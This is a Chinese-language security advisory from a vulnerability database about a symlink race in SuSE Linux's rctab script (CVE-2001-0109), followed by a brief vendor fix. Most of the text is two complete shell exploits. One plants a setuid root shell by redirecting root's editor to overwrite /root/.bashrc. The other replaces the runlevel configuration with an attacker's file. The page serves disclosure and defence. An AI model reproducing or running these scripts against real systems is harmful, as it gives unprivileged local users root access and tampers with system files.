首页 -> 安全研究

安全研究

安全漏洞
SuSE rctab 竞争环境缺陷

发布日期:2001-01-18
更新日期:2001-01-18

受影响系统:

    S.u.S.E. Linux 7.0
    S.u.S.E. Linux 6.4
    S.u.S.E. Linux 6.3
    S.u.S.E. Linux 6.2
    S.u.S.E. Linux 6.1
描述:

BUGTRAQ  ID:2207
CVE(CAN) ID: CVE-2001-0109

rctab 是S.u.S.E. Linux携带的Run Control Tab script。

执行rctab脚本时,rctab在/tmp目录下建立一个子目录,名为
rctmpdir.[pid of rctab process]。通常以root身份运行rctab脚本,但是并未强制
检查rctmpdir子目录的属主是否为root。恶意用户可以猜测后续rctab进程号,然后
创建一系列符号连接,接下来执行rctab脚本时有可能覆盖系统文件、在系统文件后
面追加内容,潜在导致用户权限提升。

<* 来源:Paul Starzetz (paul@starzetz.de) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

rcshell.sh

--------------------------------------------------------------------------
#!/bin/bash
#       any user can force changes to runlevels
#       by IhaQueR

declare -i PLOW
declare -i PHIGH

# CONFIG:

PLOW=1
PHIGH=3

TMP="/tmp"
FAKERC=/tmp/fakerc
RCTMPDIR="rctmpdir"
RCTMP="rctmp"
WRITETO="/root/.bashrc"
SUSH="/tmp/sush"

# what we want to write to $WRITETO (oops...)
declare -i idx
idx=0
rchead=""

while test "$idx" -lt 128 ; do
        rchead="$rchead "
        idx=$(($idx+1))
done

rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null
<<_DUPA_"

_pwd="$PWD"


#
echo "----------------------------------------------"
echo "|                                            |"
echo "|        local rctab root exploit            |"
echo "|           you would need luck              |"
echo "|       and an admin stupid enough           |"
echo "|            by IhaQueR '2001                |"
echo "|                                            |"
echo "----------------------------------------------"
echo

# test sys
awkl=$(which awk)
if test -x $awkl ; then
        echo "[+] awk found"
else
        echo "[-] awk not found, edit this script :-)"
        exit 1
fi

if test -r /sbin/rctab ; then
        echo "[+] rctab found"
else
        echo "[-] rctab not found, sorry"
        exit 1
fi

# make suid shell
echo "[+] compiling suid shell"
cat << _DUPA_ >/tmp/sush.c
#include <stdio.h>
main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh",
argv); }
_DUPA_

# compile shell
gcc /tmp/sush.c -o $SUSH


# crate dirs
echo "[+] now creating directories"
echo "    this may take a while"
echo

declare -i cnt
cnt=$PLOW
umask 000

while [ $cnt -lt $PHIGH ]
do
        cnt=$(($cnt+1))
        if [ $(($cnt % 128)) -eq 0 ] ; then
                printf "[%6d] " $cnt
        fi;
        if [ $(($cnt % 1024)) -eq 0 ] ; then
                echo
        fi;
        mkdir -p "$TMP/$RCTMPDIR.$cnt"
done

echo
echo
echo "    finished creating dirs"
echo

# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"

while [ 1 ]
do
        rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
        if test $rctabpid -gt 1 ; then
                break
        fi
        sleep 1
done

# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

# append our cmd
echo >$rcfile "$rchead"

echo "[+] got rctab -e at pid $rctabpid"

# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"

if test -O $rcdir ; then
        echo "[+] ok, we own the dir"
else
        echo "[-] hm, we are not owner"
        exit 2
fi

# wait for editor
declare -i vipid
vipid=0
while [ $vipid -lt 1 ]
do
        vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`
done

echo "    root is editing now at pid $vipid, wait for writing $rcfile"
sleep 1

pfile="/proc/$vipid"

# relink
declare -i lcnt
lcnt=$(wc -l $rcfile|awk '{print $1-2 }')
tail -n$lcnt $rcfile >$rcfile.new
rm -rf $rcfile
ln -sf $WRITETO $rcfile

if test -r "$WRITETO" ; then
        md=$(cat $WRITETO|md5sum)
fi

if test -r $WRITETO ; then
        ac=$(ls -l --full-time $WRITETO)
else
        ac="none"
fi

# wait for root to write rctab or exit
while test -d $pfile
do
        if test -r "$WRITETO" ; then
                oc="$(ls -l --full-time $WRITETO)"
                if test "$ac" != "$oc" ; then
                        echo "[+] $WRITETO replaced"
                        break
                fi
        fi
done
rm -rf $rcfile; ln -s $rcfile.new $rcfile

if test "$md" = "$(cat $WRITETO|md5sum)" ; then
        echo "[-] bashrc not changed, sorry"
        exit 2
else
        echo "[+] gotcha! wait for root to login"
fi

# now wait for root to login :-)
while test -O $SUSH ; do
        sleep 1
done

echo "[+] suid shell at $SUSH"
sleep 1
$SUSH
--------------------------------------------------------------------------

changerc.sh

--------------------------------------------------------------------------
#!/bin/bash
#       any user can force changes to runlevels
#       by IhaQueR

declare -i PLOW
declare -i PHIGH


# CONFIG:

PLOW=1
PHIGH=3

TMP="/tmp"
FAKERC="/tmp/fakerc"
RCTMPDIR="rctmpdir"
RCTMP="rctmp"

_pwd="$PWD"

#
echo "----------------------------------------------"
echo "|                                            |"
echo "|             rctab exploit                  |"
echo "|            by IhaQueR '2001                |"
echo "|                                            |"
echo "----------------------------------------------"
echo

# crate dirs
echo "[+] now creating directories"
echo "    this may take a while"
echo

declare -i cnt
cnt=$PLOW
umask 700

while [ $cnt -lt $PHIGH ]
do
        cnt=$(($cnt+1))
        if [ $(($cnt % 128)) -eq 0 ] ; then
                printf "[%6d] " $cnt
        fi;
        if [ $(($cnt % 1024)) -eq 0 ] ; then
                echo
        fi;
        mkdir -p "$TMP/$RCTMPDIR.$cnt"
done

echo
echo
echo "    finished creating dirs"
echo

# wait for rctab -e
declare -i rctabpid
rctabpid=0
echo "[+] waiting for root to run rctab"

while [ 1 ]
do
        rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'`
        if test $rctabpid -gt 1 ; then
                break
        fi
        sleep 1
done

# rcfile in
rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP"

echo "[+] got rctab -e at pid $rctabpid"

# test if we own the directory
rcdir="/tmp/rctmpdir.$rctabpid"

if test -O $rcdir ; then
        echo "[+] ok, we own the dir"
else
        echo "[-] hm, we are not owner"
        exit 2
fi

# wait for root to finish editing
sleep 4
declare -i vipid
vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'`

echo "    root is editing now at $vipid, wait for $rcfile"

pfile="/proc/$vipid"

while test -d $pfile
do
        echo -n >/dev/null
done
rm -rf $rcfile
cp $FAKERC $rcfile

echo "[+] gotcha!"
echo "    installed new rctab from $FAKERC"


建议:

临时解决办法:

下面是SuSE Security的Roman Drahtmueller <draht@suse.de>提供的解决方案

修正/sbin/rctab脚本中如下行

mkdir -p ${tmpdir}



mkdir ${tmpdir}

显然这里-p参数导致恶意用户可以建立符号连接并被有效使用。

NsFocus建议您首先删除即将建立的同名文件、目录,然后创建,这个技术可以解决
绝大多数符号连接带来的竞争环境问题。



浏览次数:4168
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障